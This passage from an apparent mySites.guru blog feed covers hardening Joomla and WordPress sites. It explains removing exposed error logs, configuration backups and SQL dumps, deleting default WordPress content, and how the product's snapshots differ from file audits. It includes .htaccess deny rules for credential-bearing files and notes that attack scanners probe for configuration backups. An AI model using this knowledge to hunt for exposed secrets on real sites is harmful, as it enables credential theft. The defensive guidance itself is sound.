&lt;p&gt;Delete all &lt;code&gt;error_log&lt;/code&gt; files from your webspace. Then fix the configuration so they don&apos;t come back.&lt;/p&gt;
&lt;p&gt;In your &lt;code&gt;php.ini&lt;/code&gt; or &lt;code&gt;.user.ini&lt;/code&gt;, set the error log path to a location outside your document root:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;log_errors = On
error_log = /home/username/logs/php_errors.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you&apos;re on shared hosting and can&apos;t modify &lt;code&gt;php.ini&lt;/code&gt;, add this to your &lt;code&gt;.htaccess&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php_value error_log /home/username/logs/php_errors.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The key is to keep logging enabled (you need error logs for debugging) but write them somewhere that isn&apos;t publicly accessible. If your host doesn&apos;t allow you to specify a custom log path, at minimum add a &lt;code&gt;.htaccess&lt;/code&gt; rule to block direct access to error log files:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;FilesMatch &quot;^(error_log|php_errorlog|php_errors\.log)$&quot;&amp;gt;
  Require all denied
&amp;lt;/FilesMatch&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Backup/Renamed Files - Delete&lt;/h3&gt;
&lt;p&gt;Files like &lt;code&gt;configuration.php.bak&lt;/code&gt;, &lt;code&gt;configuration.php.old&lt;/code&gt;, &lt;code&gt;.htaccess.backup&lt;/code&gt;, and similar renamed copies should be deleted immediately. They contain sensitive configuration data in a format that the server will serve as plain text.&lt;/p&gt;
&lt;p&gt;If you need to keep backup copies of configuration files, store them outside the document root or on your local machine. Never keep them in the webspace with a non-PHP extension.&lt;/p&gt;
&lt;h3&gt;5. Verify After Cleanup&lt;/h3&gt;
&lt;p&gt;After deleting the files, run another audit to confirm they&apos;re gone. This sounds obvious, but we&apos;ve seen cases where file permissions prevented deletion via FTP, or where a cron job recreated the files minutes after they were removed. The follow-up audit confirms the cleanup actually worked.&lt;/p&gt;
&lt;p&gt;Also check that your &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files&lt;/a&gt; are clean - attackers sometimes use dot-prefixed filenames to hide backup files and SQL dumps in plain sight.&lt;/p&gt;
&lt;h2&gt;How Do You Prevent These Files From Accumulating?&lt;/h2&gt;
&lt;p&gt;Cleaning up once is necessary. Preventing the problem from recurring is better.&lt;/p&gt;
&lt;h3&gt;Use Offsite Backups&lt;/h3&gt;
&lt;p&gt;Stop creating backups that live on the same server as your site. Use a backup tool that stores archives offsite, whether that&apos;s cloud storage, a remote server, or a local machine. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup feature&lt;/a&gt; stores backups outside your webspace, so there&apos;s never an archive file sitting in a publicly accessible directory.&lt;/p&gt;
&lt;p&gt;If you use Akeeba Backup, configure it to use a remote storage profile (Amazon S3, Dropbox, Google Drive, or any other supported backend) and enable the option to delete the local archive after successful transfer.&lt;/p&gt;
&lt;h3&gt;Create a Post-Migration Checklist&lt;/h3&gt;
&lt;p&gt;Every time you migrate a site, the final step should be deleting the migration artifacts from the destination server. The archive file, the SQL dump, any temporary files created during the import - all of it. Make this part of the process, not an afterthought.&lt;/p&gt;
&lt;h3&gt;Configure PHP Error Logging Properly&lt;/h3&gt;
&lt;p&gt;Set up your PHP error log path once, correctly, and this problem goes away permanently. Point errors to a log file outside your document root and set up log rotation so the file doesn&apos;t grow indefinitely.&lt;/p&gt;
&lt;h3&gt;Schedule Regular Audits&lt;/h3&gt;
&lt;p&gt;The best defense against forgotten files is regular, automated scanning. &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Schedule your mySites.guru audits&lt;/a&gt; to run weekly or monthly, and review the results. Files that shouldn&apos;t be there will be flagged before they become a problem.&lt;/p&gt;
&lt;h3&gt;Block Dangerous Extensions at the Server Level&lt;/h3&gt;
&lt;p&gt;Add a server-wide rule to block downloads of common dangerous file types. In your root &lt;code&gt;.htaccess&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;FilesMatch &quot;\.(sql|sql\.gz|sql\.zip|tar|tar\.gz|tgz|jpa|jps|bak|old|save|swp|swo)$&quot;&amp;gt;
  Require all denied
&amp;lt;/FilesMatch&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This won&apos;t protect you from every possible filename, but it covers the most common patterns and adds a safety net for files that slip through other preventive measures. If your site legitimately serves downloadable ZIP files (product manuals, resource packs, etc.), remove &lt;code&gt;zip&lt;/code&gt; from the list or scope the rule to specific directories rather than the whole site. The point is to block by default and allow by exception, not the other way around.&lt;/p&gt;
&lt;h2&gt;What Are the Joomla-Specific Risks?&lt;/h2&gt;
&lt;p&gt;Joomla sites face some specific challenges with leftover files.&lt;/p&gt;
&lt;h3&gt;The configuration.php Problem&lt;/h3&gt;
&lt;p&gt;Joomla&apos;s &lt;code&gt;configuration.php&lt;/code&gt; is one of the most sensitive files on any web server. It contains database credentials, the secret salt used for session security, SMTP passwords, FTP credentials (if configured), and the temp and log directory paths. A renamed copy of this file (&lt;code&gt;configuration.php.bak&lt;/code&gt;, &lt;code&gt;configuration.php.old&lt;/code&gt;, &lt;code&gt;configuration.php.dist&lt;/code&gt;) serves all of those secrets as plain text.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; has published advisories about configuration file exposure, and penetration testing tools like DirBuster and Gobuster include &lt;code&gt;configuration.php.bak&lt;/code&gt; in their default wordlists. This is one of the first things any scanner checks for on a Joomla site.&lt;/p&gt;
&lt;h3&gt;Akeeba Backup Archive Exposure&lt;/h3&gt;
&lt;p&gt;As mentioned earlier, Akeeba Backup&apos;s default storage directory is inside &lt;code&gt;administrator/components/com_akeeba/backup/&lt;/code&gt;. On Apache with the default &lt;code&gt;.htaccess&lt;/code&gt;, this directory is protected. But protection depends on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;.htaccess&lt;/code&gt; file existing and being intact&lt;/li&gt;
&lt;li&gt;Apache being configured to process &lt;code&gt;.htaccess&lt;/code&gt; files (&lt;code&gt;AllowOverride&lt;/code&gt; not set to &lt;code&gt;None&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The server actually being Apache (Nginx and LiteSpeed ignore &lt;code&gt;.htaccess&lt;/code&gt; entirely)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If any of those conditions aren&apos;t met, every backup archive Akeeba has ever created on that site is downloadable. We&apos;ve seen sites with dozens of JPA archives spanning years of backups, all publicly accessible, totalling gigabytes of complete site snapshots.&lt;/p&gt;
&lt;h3&gt;Extension Installation Packages&lt;/h3&gt;
&lt;p&gt;When you install a Joomla extension from a ZIP file, the package is sometimes left in the &lt;code&gt;/tmp/&lt;/code&gt; directory. Joomla is supposed to clean these up, but it doesn&apos;t always succeed, especially if the temp directory path is wrong or permissions are off. Over time, &lt;code&gt;/tmp/&lt;/code&gt; accumulates installation packages that reveal exactly which extensions you run and at what versions. That&apos;s useful intelligence for an attacker looking for known vulnerabilities.&lt;/p&gt;
&lt;p&gt;The mySites.guru audit&apos;s &lt;a href=&quot;https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/&quot;&gt;fluff files tool&lt;/a&gt; can clean up some of this debris automatically after Joomla updates, but the &lt;code&gt;/tmp/&lt;/code&gt; directory is worth checking manually during your periodic review.&lt;/p&gt;
&lt;h2&gt;Is This Only a Joomla Problem?&lt;/h2&gt;
&lt;p&gt;Everything in this guide applies equally to WordPress sites. The file types are the same (ZIP archives, SQL dumps, PHP error logs, renamed config files), the risks are the same, and the cleanup process is identical. The only difference is the filenames: &lt;code&gt;wp-config.php.bak&lt;/code&gt; instead of &lt;code&gt;configuration.php.bak&lt;/code&gt;, and &lt;code&gt;wp-content/&lt;/code&gt; instead of &lt;code&gt;/administrator/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;WordPress sites accumulate the same dangerous artifacts from migrations, manual backups, and developer troubleshooting. If anything, WordPress sites are targeted more often because there are more of them, which means automated scanners have longer wordlists of common WordPress backup filenames to try.&lt;/p&gt;
&lt;p&gt;mySites.guru runs the same file-level security audit on WordPress sites as it does on Joomla. The archive files tool, SQL dump detection, error log finder, and large files tool all work across both platforms. If you &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;manage multiple WordPress sites&lt;/a&gt; alongside your Joomla sites, every audit covers both, and the dashboard shows results for all your sites in one place.&lt;/p&gt;
&lt;h2&gt;Connecting to your broader security posture&lt;/h2&gt;
&lt;p&gt;Leftover files aren&apos;t an isolated problem. They&apos;re usually a symptom of a broader gap in operational discipline, and that gap tends to show up in other areas too.&lt;/p&gt;
&lt;p&gt;If archive files and SQL dumps are sitting on your server, what else has been overlooked? Are your &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Joomla extensions up to date&lt;/a&gt;? Is your PHP version current? Are your &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;security headers configured correctly&lt;/a&gt;? Are there &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files&lt;/a&gt; that need investigation?&lt;/p&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice checks&lt;/a&gt; cover all of these areas in a single audit. Dangerous files are one category among many, and addressing them alongside everything else is what turns a one-off cleanup into an ongoing security practice.&lt;/p&gt;
&lt;p&gt;If you manage dozens or hundreds of Joomla sites, this compounds fast. One forgotten archive on one site is a manageable risk. Forgotten archives across 50 sites, accumulated over years of migrations and updates, is a systemic exposure that you probably don&apos;t even know the full extent of until you scan everything.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information&quot;&gt;Review Old Backup and Unreferenced Files for Sensitive Information&lt;/a&gt; - OWASP&apos;s full testing guide for finding backup files and unreferenced resources on web servers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist/Hosting_and_Server_Setup&quot;&gt;Joomla Security Checklist: Hosting and Server Setup&lt;/a&gt; - Official Joomla documentation on server-level security configuration&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/manual/en/errorfunc.configuration.php&quot;&gt;PHP error_log Configuration&lt;/a&gt; - PHP manual reference for controlling where error logs are written&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2021/best-practices-to-secure-your-joomla-website&quot;&gt;Best Practices to Secure Your Joomla Website&lt;/a&gt; - Joomla Community Magazine guide covering file permissions, configuration protection, and more&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Take Action Now&lt;/h2&gt;
&lt;p&gt;If you&apos;ve read this far and you&apos;re thinking &quot;I should probably check my servers,&quot; you&apos;re right. You should.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Already using mySites.guru?&lt;/strong&gt; Run an audit on your sites and look at the archive files, SQL dumps, and error logs results. Clean up whatever you find. Then &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule regular audits&lt;/a&gt; so you catch new files before they become a long-term exposure.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Not using mySites.guru yet?&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; on any Joomla or WordPress site, no credit card, no commitment. The audit will tell you exactly what&apos;s sitting on your server that shouldn&apos;t be.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Want a thorough review?&lt;/strong&gt; Check the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;full feature list&lt;/a&gt; to see everything mySites.guru covers, or &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;reach out to Phil directly&lt;/a&gt; if you&apos;d like a hand going through your results.&lt;/p&gt;
&lt;p&gt;The files are already there. The question is whether you find them before someone else does.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Part of our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;complete security guide for agencies&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>cleanup</category><category>archive files</category><category>sql dumps</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server.BR7V4SGJ.webp" length="0" type="image/webp"/></item><item><title>How to Remove the Sample Page and Hello World Post in WordPress with One Click</title><link>https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/</link><guid isPermaLink="true">https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/</guid><description>Every WordPress install ships with a Sample Page and Hello World post. Learn why they hurt SEO and how mySites.guru removes them across all your sites.</description><pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;;
import investigateImg from &apos;../../assets/img/blog/sample-page-investigate-fix.webp&apos;;
import successImg from &apos;../../assets/img/blog/sample-page-fix-success.webp&apos;;&lt;/p&gt;
&lt;h2&gt;The default content nobody remembers to delete&lt;/h2&gt;
&lt;p&gt;Every WordPress installation ships with two pieces of placeholder content: a page called &quot;Sample Page&quot; and a post titled &quot;Hello World!&quot; They&apos;re meant to show new users how pages and posts work, but in practice both get forgotten. Site owners move on to creating real content, and the defaults sit there indefinitely, indexed by Google, visible to visitors, and broadcasting that nobody cleaned up after the install.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s WordPress Configuration audit detects both the Sample Page and Hello World post across all your connected sites, and lets you remove them with one click through the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;connector plugin&lt;/a&gt;. No wp-admin login required. If you&apos;re managing dozens of sites, you can see exactly which ones still have default content from a single dashboard, then fix them one by one without opening a single WordPress admin panel. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Try a free audit&lt;/a&gt; to see what your sites look like.&lt;/p&gt;
&lt;p&gt;The Sample Page contains placeholder text about &quot;The XYZ Doohickey Company&quot; and a bike messenger, while the Hello World post is just a single sentence inviting you to delete it. Here&apos;s the full default text:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How mySites.guru detects and removes WP default content&lt;/h2&gt;
&lt;p&gt;mySites.guru splits this into two audit checks, each with its own fix button.&lt;/p&gt;
&lt;p&gt;The pivot page shows you the status of every WordPress site at once, so you can see which ones still have default content without opening each site individually:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-900 dark:border-neutral-400 overflow-hidden&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Click &quot;Investigate&quot; on any flagged site to see the issue details with a one-click fix button. One click later, the check goes green:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 grid grid-cols-2 gap-4&quot;&amp;gt;
&amp;lt;div class=&quot;rounded-lg border border-neutral-200 dark:border-neutral-700 overflow-hidden flex flex-col&quot;&amp;gt;
&amp;lt;div class=&quot;flex-1 flex items-end&quot;&amp;gt;
&amp;lt;Image src={investigateImg} alt=&quot;mySites.guru investigate view showing an orange warning that the sample page post is still present, with an Auto-Magically Fix This For Me button&quot; layout=&quot;none&quot; class=&quot;w-full&quot; /&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;p class=&quot;px-3 py-2 text-center text-sm text-neutral-600 dark:text-neutral-400 border-t border-neutral-200 dark:border-neutral-700&quot;&amp;gt;Issue detected&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;rounded-lg border border-neutral-200 dark:border-neutral-700 overflow-hidden flex flex-col&quot;&amp;gt;
&amp;lt;div class=&quot;flex-1 flex items-end&quot;&amp;gt;
&amp;lt;Image src={successImg} alt=&quot;mySites.guru success view showing a green checkmark confirming the WordPress site no longer has the sample page&quot; layout=&quot;none&quot; class=&quot;w-full&quot; /&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;p class=&quot;px-3 py-2 text-center text-sm text-neutral-600 dark:text-neutral-400 border-t border-neutral-200 dark:border-neutral-700&quot;&amp;gt;Fixed in one click&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;This works the same way as the &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;one-click toggles for debug constants&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WordPress logo from the admin bar&lt;/a&gt; - the dashboard flags the issue and you fix it without logging into wp-admin.&lt;/p&gt;
&lt;h3&gt;Why two separate checks?&lt;/h3&gt;
&lt;p&gt;Some sites might have repurposed the Sample Page with real content (renamed it, changed the slug, kept the page ID). Others might have deleted one but not the other. Separate checks give you accurate reporting for each piece of default content.&lt;/p&gt;
&lt;h3&gt;Automatic detection on new sites&lt;/h3&gt;
&lt;p&gt;Every time you connect a new WordPress site to mySites.guru, the first snapshot catches default content automatically. No checklist needed.&lt;/p&gt;
&lt;p&gt;This matters when you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Inherit existing sites from other developers or hosting providers&lt;/li&gt;
&lt;li&gt;Build sites from starter templates that may or may not clean up defaults&lt;/li&gt;
&lt;li&gt;Push staging sites to production where test content might slip through&lt;/li&gt;
&lt;li&gt;Onboard client sites that have been &quot;live&quot; for months with nobody noticing the leftover content&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why default WordPress content actually matters&lt;/h2&gt;
&lt;p&gt;Search engines index everything they can find. A &quot;Sample Page&quot; with boilerplate text like &quot;This is an example page&quot; competes with your actual content for crawl budget. On small sites, that&apos;s a real percentage of your indexed pages being worthless filler.&lt;/p&gt;
&lt;p&gt;This is not a hypothetical problem. A quick search shows default WordPress content indexed on government websites:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;The Jersey connection&lt;/h2&gt;
&lt;p&gt;It is just as common on business and nonprofit websites. Here are eight Jersey (.je) sites, all with the default Sample Page sitting in Google&apos;s index:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Google&apos;s helpful content updates have made thin, low-value content a bigger ranking factor than ever. Pages with no useful content can actively hurt your site&apos;s overall quality signals. If you&apos;re already working on &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress configuration best practices&lt;/a&gt;, removing default content should be near the top of your list.&lt;/p&gt;
&lt;h2&gt;Professional appearance and security&lt;/h2&gt;
&lt;p&gt;If a potential client visits your WordPress site and finds a &quot;Hello World!&quot; post dated the day you installed WordPress, it undermines trust. It says &quot;this site isn&apos;t maintained carefully.&quot; For agencies building sites for clients, leaving default content behind is the digital equivalent of leaving scaffolding up after the building is finished.&lt;/p&gt;
&lt;p&gt;Default content also confirms a site runs WordPress and suggests the setup was not done thoroughly. Automated scanners look for signals like this to identify targets that might have other default settings left unchanged - like default admin usernames, exposed wp-config backups, or enabled XML-RPC. The same principle applies to &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;leaving debug mode enabled on production&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;allowing unrestricted plugin installs&lt;/a&gt; - each leftover default is a signal that the site might have more low-hanging fruit.&lt;/p&gt;
&lt;h2&gt;Removing default content the manual way&lt;/h2&gt;
&lt;p&gt;In a single WordPress admin, it takes about 30 seconds:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;Posts &amp;gt; All Posts&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Trash the &quot;Hello World!&quot; post&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Pages &amp;gt; All Pages&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Trash the &quot;Sample Page&quot;&lt;/li&gt;
&lt;li&gt;Empty the trash for both&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now do that for every WordPress site you manage. Log into each one, navigate to the right screen, delete the content, empty the trash. For 50 sites, that&apos;s 50 separate login sessions.&lt;/p&gt;
&lt;p&gt;And if you&apos;re onboarding new sites regularly, you need to remember to check every new installation. This is the same scaling problem that makes &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; from individual admin panels unsustainable.&lt;/p&gt;
&lt;h2&gt;Part of a bigger cleanup&lt;/h2&gt;
&lt;p&gt;Default content is one of many things the WordPress Configuration audit catches. Other items in the &quot;should have been cleaned up at install&quot; category:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;XML-RPC still enabled&lt;/strong&gt; - an old API surface that most sites don&apos;t need and attackers actively target&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;Debug mode left on&lt;/a&gt;&lt;/strong&gt; - exposes error details and can leak sensitive paths&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Database repair endpoint exposed&lt;/strong&gt; - allows unauthenticated access to &lt;code&gt;wp-admin/maint/repair.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;File editing enabled&lt;/a&gt;&lt;/strong&gt; in the admin - lets any admin user modify PHP files directly&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;Uncontrolled automatic updates&lt;/a&gt;&lt;/strong&gt; - can break sites overnight with untested upgrades&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They all work the same way: detected during snapshots, reported in the audit, fixable with one click through the connector. For a complete picture of what the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit covers&lt;/a&gt;, including deep file scanning and hack detection, see our audit tools overview.&lt;/p&gt;
&lt;h2&gt;Scaling cleanup across a portfolio&lt;/h2&gt;
&lt;p&gt;For agencies and freelancers managing 20, 50, or 200+ WordPress sites, the real value is the confidence that none of your sites have this issue, and the automatic detection when a new site does.&lt;/p&gt;
&lt;p&gt;Combined with the other WordPress Configuration checks, you can bring every new site up to your baseline standard within minutes of connecting it. No post-install checklist, no &quot;I&apos;ll get to it later&quot; items that never get done.&lt;/p&gt;
&lt;p&gt;If you&apos;re building a consistent management workflow across a portfolio of client sites, start with our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;managing multiple WordPress sites like a pro&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/before-install/howto-install/#step-5-run-the-install-script&quot;&gt;WordPress Codex: First Steps with WordPress&lt;/a&gt; - The official installation guide that creates the default content in Step 5&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/search/docs/essentials/spam-policies#thin-content&quot;&gt;Google Search Central: Thin Content&lt;/a&gt; - Google&apos;s spam policies on pages with little or no added value&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wpexplorer.com/wordpress-launch-checklist/&quot;&gt;WPExplorer: WordPress Launch Checklist&lt;/a&gt; - Pre-launch checklist that includes deleting dummy content like Sample Page and Hello World&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>cleanup</category><category>sample content</category><category>site management</category><category>seo</category><enclosure url="https://mysites.guru/_astro/remove-sample-page-hello-world-wordpress-one-click.CjvjW7cO.webp" length="0" type="image/webp"/></item><item><title>Snapshot vs Audit: What&apos;s the Difference?</title><link>https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/</link><guid isPermaLink="true">https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/</guid><description>mySites.guru checks your sites two ways: quick snapshots of config and settings, and deep audits that scan every file. Here&apos;s when to use each.</description><pubDate>Mon, 23 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru checks your WordPress and Joomla sites in two very different ways: the &lt;strong&gt;Snapshot&lt;/strong&gt; and the &lt;strong&gt;Audit&lt;/strong&gt;. Both produce a list of checks with pass/fail results, but they collect that data differently and catch different things.&lt;/p&gt;
&lt;p&gt;The snapshot checks your site&apos;s configuration and settings in milliseconds. The audit reads every single file in your webspace looking for threats. They run independently, on their own schedules, and you want both.&lt;/p&gt;
&lt;h2&gt;How does the mySites.guru Snapshot work?&lt;/h2&gt;
&lt;p&gt;The snapshot is a quick health check. It looks up database settings, reads specific configuration files, checks HTTP response headers, and counts things like user accounts and installed plugins. None of this requires scanning your file system, so it completes in milliseconds.&lt;/p&gt;
&lt;p&gt;There are over 140 individual checks, grouped into categories like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Platform configuration (debug mode, SSL, file editing, XML-RPC, auto-updates, and dozens more)&lt;/li&gt;
&lt;li&gt;User accounts (inactive users, unactivated accounts, hashed passwords, admin count)&lt;/li&gt;
&lt;li&gt;Security headers (X-Frame-Options, Content-Security-Policy, HSTS, Referrer-Policy)&lt;/li&gt;
&lt;li&gt;Extensions and plugins (installed versions, available updates, deactivated plugins still on disk)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;Database integrity&lt;/a&gt; (table prefix, user permissions, pending migrations)&lt;/li&gt;
&lt;li&gt;Hosting environment (PHP version, disabled functions, error reporting, session configuration)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Snapshots run automatically twice a day on every connected site. You can also trigger one on demand whenever you want fresh data. At the end of each snapshot, mySites.guru also gathers your full list of extensions and themes, checks each one for available updates, and flags any with &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;known vulnerabilities&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Many snapshot checks include a one-click toggle to fix the issue right from the dashboard. Debug mode left on? One click. User registration accidentally enabled? One click. No need to log into the site.&lt;/p&gt;
&lt;h2&gt;How does the mySites.guru Audit work?&lt;/h2&gt;
&lt;p&gt;The audit goes much deeper. Instead of checking configuration values, it reads and inspects &lt;strong&gt;every file and every line of code&lt;/strong&gt; in your entire webspace. That means PHP files, JavaScript, images, archives, hidden files, everything.&lt;/p&gt;
&lt;p&gt;It uses over 20,000 regex patterns and 14,000 MD5 hashes to identify:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Malware and backdoors (suspect code patterns, obfuscated PHP, known malicious file hashes)&lt;/li&gt;
&lt;li&gt;Mass mailers (scripts designed to send spam from your server)&lt;/li&gt;
&lt;li&gt;Modified core files (WordPress or Joomla core files that have been tampered with)&lt;/li&gt;
&lt;li&gt;Hidden files and folders (files starting with a dot, tucked into directories you&apos;d never think to check)&lt;/li&gt;
&lt;li&gt;Dangerous permissions (files or folders with 777 permissions)&lt;/li&gt;
&lt;li&gt;Suspicious file types (SQL dumps, renamed PHP files, upload scripts in unexpected locations)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because the audit has to read every file, it takes longer than a snapshot. A small site might finish in a couple of minutes; a large site with thousands of files takes longer. The system adjusts its scan speed automatically to avoid overloading slower hosts.&lt;/p&gt;
&lt;p&gt;Audits run on a schedule - weekly by default, but you can set them to run daily or monthly depending on how security-sensitive your sites are. You can also &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;trigger one manually&lt;/a&gt; whenever you need it.&lt;/p&gt;
&lt;h2&gt;How do they compare side by side?&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Snapshot&lt;/th&gt;
&lt;th&gt;Audit&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Speed&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Milliseconds&lt;/td&gt;
&lt;td&gt;Minutes (depends on site size)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Frequency&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Twice daily + on demand&lt;/td&gt;
&lt;td&gt;Weekly by default (daily/monthly options)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
